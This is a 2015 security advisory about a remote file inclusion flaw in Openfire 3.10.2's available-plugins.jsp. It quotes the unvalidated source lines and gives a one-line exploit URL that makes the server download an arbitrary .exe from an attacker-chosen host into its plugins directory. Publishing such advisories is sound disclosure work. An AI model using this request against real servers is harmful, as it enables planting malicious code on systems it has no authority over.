Openfire 3.10.2 Remote File Inclusion
Posted on 15 September 2015
[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-RFI.txt Vendor: ================================ www.igniterealtime.org/projects/openfire www.igniterealtime.org/downloads/index.jsp Product: ================================ Openfire 3.10.2 Openfire is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Vulnerability Type: ================================= Remote File Inclusion CVE Reference: ============== N/A Vulnerability Details: ===================== In "available-plugins.jsp" there is no validation for plugin downloads, allowing arbitrary file downloads from anywhere on the internet. On line 40: all that needs to be satisfied is the paramater is not null. boolean downloadRequested = request.getParameter("download") != null; String url = request.getParameter("url"); If the above condition check returns true, the application downloads whatever file you give it. line 54: if (downloadRequested) { // Download and install new plugin updateManager.downloadPlugin(url); // Log the event webManager.logEvent("downloaded new plugin from "+url, null); } Exploit code(s): ================ 1) download arbitrary filez e.g. http://localhost:9090/available-plugins.jsp?download=1&url=http://ghostofsin.abyss/abysmalgod.exe Our RFI will be downloaded to "openfireplugins" directory. Disclosure Timeline: ========================================================= Vendor Notification: NA Sept 14, 2015 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] GET Vulnerable Product: [+] Openfire 3.10.2 Vulnerable Parameter(s): [+] download, url Affected Area(s): [+] Server =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
